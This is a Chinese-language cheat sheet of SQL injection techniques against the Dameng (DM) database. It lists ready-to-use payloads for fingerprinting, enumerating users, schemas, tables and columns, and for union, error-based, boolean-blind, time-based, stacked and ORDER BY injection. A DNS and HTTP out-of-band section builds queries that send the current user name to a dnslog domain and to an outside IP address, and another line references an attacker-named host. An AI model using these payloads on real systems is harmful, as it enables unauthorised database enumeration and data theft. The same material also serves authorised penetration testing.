达梦数据库DMSQL-SQL注入小记
字数 748 2025-08-22 12:23:06
达梦数据库DMSQL SQL注入技术详解
0x01 达梦数据库识别
判断是否使用达梦数据库(DMSQL)的方法:
- 报错信息中包含:
dm.jabc.driver.DMException - 不支持
updatexml等Oracle特有函数
0x02 基础语法
基本查询
select user -- 返回当前用户(默认SYSDBA)
select user() -- 同上
select cur_database -- 返回当前库名(默认DAMENG)
select cur_database() -- 同上
select 1 -- 可以不跟表名,存在默认表dual
select 1 from dual where 1 = 1 && 1 = 1 -- &&可以代替and,但||不能代替or
注释语法
SELECT 1; -- 单行注释
select 1 /*aaa*/ from dual -- 支持多行注释
-- 不支持#单行注释和/*! */内联注释
运算符
&&可以代替AND||不能代替OR
0x03 函数特性
常用函数
md5(1) -- 返回0xC4CA4238A0B923820DCC509A6F75849B
exp(if(1=1,710,1)) -- 整数溢出错误,可用于布尔盲注
exp(710) -- 返回整数溢出错误
进制转换
ASCII(str) -- 返回字符串第一个字符的ASCII值
CHAR(num) -- 返回参数num对应的ASCII字符
CHR(num) -- 同上
HEX(str) -- 返回16进制字符串形式
UNHEX(str) -- 返回对应的字符串
字符串截取
substring('1234',2,1) -- 同substr函数
substr('1234',2,1) -- 返回2
-- 多种格式:
-- SUBSTR(str,pos)、SUBSTR(str FROM pos)、SUBSTR(str,pos,len)、SUBSTR(str FROM pos FOR len)
left('123456',3) -- 返回123
right('123456',3) -- 返回456
字符串拼接
|| -- 将左右两侧字符串进行连接
CONCAT(str1,str2...) -- 将多个字符串合并
CONCAT_WS(separator,str1,str2...) -- 通过分隔符连接
WM_CONCAT(column_name) -- 类似GROUP_CONCAT
LISTAGG(column_name,separator) -- 类似WM_CONCAT,提供更多控制选项
其他函数
LENGTH(str)/LEN(str) -- 返回字符串长度
LOWER(str)/LCASE(str) -- 转小写
UPPER(str)/UCASE(str) -- 转大写
TO_CHAR(date/time_value,'format') -- 转换为字符类型
TO_NUMBER(char_value,'format') -- 转换为数字类型
TO_DATE(char_value,'format') -- 转换为日期类型
0x04 SQL注入获取数据
基本信息查询
-- 查看数据库版本
SELECT banner FROM v$version; -- 多行返回
SELECT banner FROM v$version limit 0,1;
SELECT WM_CONCAT(banner) FROM v$version; -- 一行显示
SELECT LISTAGG(banner,', ') FROM v$version; -- 高版本可用
-- 获取当前用户、当前数据库
select user;
select user();
SELECT user FROM DUAL;
select cur_database;
-- 获取所有用户名
select USERNAME from SYS.ALL_USERS;
select WM_CONCAT(USERNAME) from SYS.ALL_USERS;
查询全局变量
SELECT NAME,TYPE,VALUE FROM V$PARAMETER;
SELECT VALUE FROM V$PARAMETER WHERE NAME='SYSTEM_PATH';
SELECT NAME,VALUE FROM V$PARAMETER WHERE name LIKE '%INSTANCE%';
常见全局变量:
- SYSTEM_PATH
- CONFIG_PATH
- TEMP_PATH
- BAK_PATH
- DFS_PATH
- INSTANCE_NAME
- INSTANCE_ADDR
- PORT_NUM
- SVR_LOG_NAME
- TRACE_PATH
- BCT_PATH
查询系统表
- 查询库名
select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCH'
- 查询表名
select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCHOBJ' and SUBTYPE$='UTAB' and SCHID=150995949
- 查询列名
select NAME,TYPE$,DEFVAL from SYS.SYSCOLUMNS where ID=1078
查询视图
- 查询用户
select USERNAME from SYS.ALL_USERS
- 查询库名
select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='SYSDBA' and OBJECT_TYPE='SCH'
- 查询表名
select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='OTHER' and OBJECT_TYPE='TABLE'
- 查询列名
select OWNER,TABLE_NAME,SCHEMA_NAME,COLUMN_NAME from SYS.ALL_COL_COMMENTS where SCHEMA_NAME='OTHER' and TABLE_NAME='xxxxxx'
0x05 联合查询注入
order by num
union select 1,2,3... -- 注意列数和类型要相同
0x06 报错注入
除0错误
select 1 from dual where 1=1/0
SELECT * FROM t1 where rownum<5 AND 1=1 AND 1=1/if(len(user)=6,1,0) ORDER BY id DESC;
溢出错误
select exp(710)
select exp(if(1=1,710,1)) -- 数据溢出
select exp(if(len(user)=6,710,1))
SELECT * FROM t1 where rownum<5 AND 1=exp(if(len(user)=6,710,0)) ORDER BY id DESC;
SELECT * FROM t1 where rownum<5 ORDER BY id,exp(if(len(user)=6,711,0)) DESC;
SELECT * FROM t1 where rownum<5 ORDER BY id DESC,exp(if(len(user)=6,710,0));
0x07 布尔盲注
布尔判断函数
if(expr,参数1,参数2) -- expr成立返回参数1,否则返回参数2
CASE WHEN exp THEN state1 ELSE state2 END -- 同IF
DECODE(expr,search1,result1[,search2,result2,...][,default_result]) -- 类似switch case
IFNULL(expr1,expr2) -- expr1不为NULL返回expr1,否则返回expr2
NULLIF(expr1,expr2) -- expr1与expr2不同返回expr1,否则返回NULL
案例
SELECT * FROM t1 where rownum<5 AND 1=1 AND 1=if(len(user)=6,1,0) ORDER BY id DESC;
SELECT * FROM t1 where rownum<5 AND 1=1 AND 1=(case when len(user)=4 then 1 else 0 end) ORDER BY id DESC;
SELECT * FROM t1 where rownum<5 AND 1=1 AND 1=decode(len(user),6,1,0) ORDER BY id DESC;
SELECT * FROM t1 where rownum<5 AND 1=1 AND 1=IFNULL(len(user)=6,0) ORDER BY id DESC;
SELECT * FROM t1 where rownum<5 AND 1=1 AND 1=NULLIF(len(user)=6,0) ORDER BY id DESC;
0x08 时间盲注
sleep(n) -- 休眠n秒,不能和select一起用
exec sleep 5 -- 延时5s
dbms_pipe.receive_message(('a'),2) -- 可以延时
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- 反查慢可能可用
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- 正查慢可能可用
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; -- 发送TCP包被拦截或慢
0x09 DNS外带注入
需要用户有网络访问权限:
SELECT UTL_INADDR.get_host_address('google.com') FROM dual; -- priv
SELECT UTL_INADDR.get_host_address((select user)||'.xxx.dnslog');
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
SELECT UTL_HTTP.REQUEST('http://xxx.dnslog?'||(select user)) from dual;
select utl_http.request('http://192.168.0.100:8888/?'||(select user)) from dual;
0x0A 堆叠注入
在靶场中可能不成功,但实战中可能有效:
-- 结合DNS外带
-- 结合除0报错
0x0B order by位置注入
位运算符
ORDER BY id^(if(1=2,1,2)
ORDER BY id^(if(len(user)=6,1,2))
SELECT * FROM t1 where rownum<5 ORDER BY id^(if(1=2,1,2)) DESC;
SELECT * FROM t1 where rownum<5 ORDER BY id^(if(len(user)=6,1,2)) DESC;
SELECT * FROM t1 where rownum<5 ORDER BY id&(if(len(user)=6,1,2)) DESC;
SELECT * FROM t1 where rownum<5 ORDER BY id|(if(len(user)=6,1,2)) DESC;
union利用
(SELECT * FROM t1 where rownum<5 ORDER BY id) union (select 1,2,user);
(SELECT * FROM t1 where rownum<5 ORDER BY id,null) union (select 1,2,user);
转化为Where注入
SELECT * FROM xxxx WHERE is_delete!='1' ORDER BY id limit 0,20
SELECT * FROM xxxx WHERE is_delete!='1' ORDER BY (select 1 from dual where 1=1/(case when len(user)=6 then 1 else 0 end)) LIMIT 0,20
0x0C limit注入
可以接堆叠注入
参考资源
- 达梦数据库手工注入笔记: https://mp.weixin.qq.com/s/vWt3aHhji7e64EMGEBXigg
- 达梦技术文档: https://eco.dameng.com/document/dm/zh-cn/pm/logical-structure.html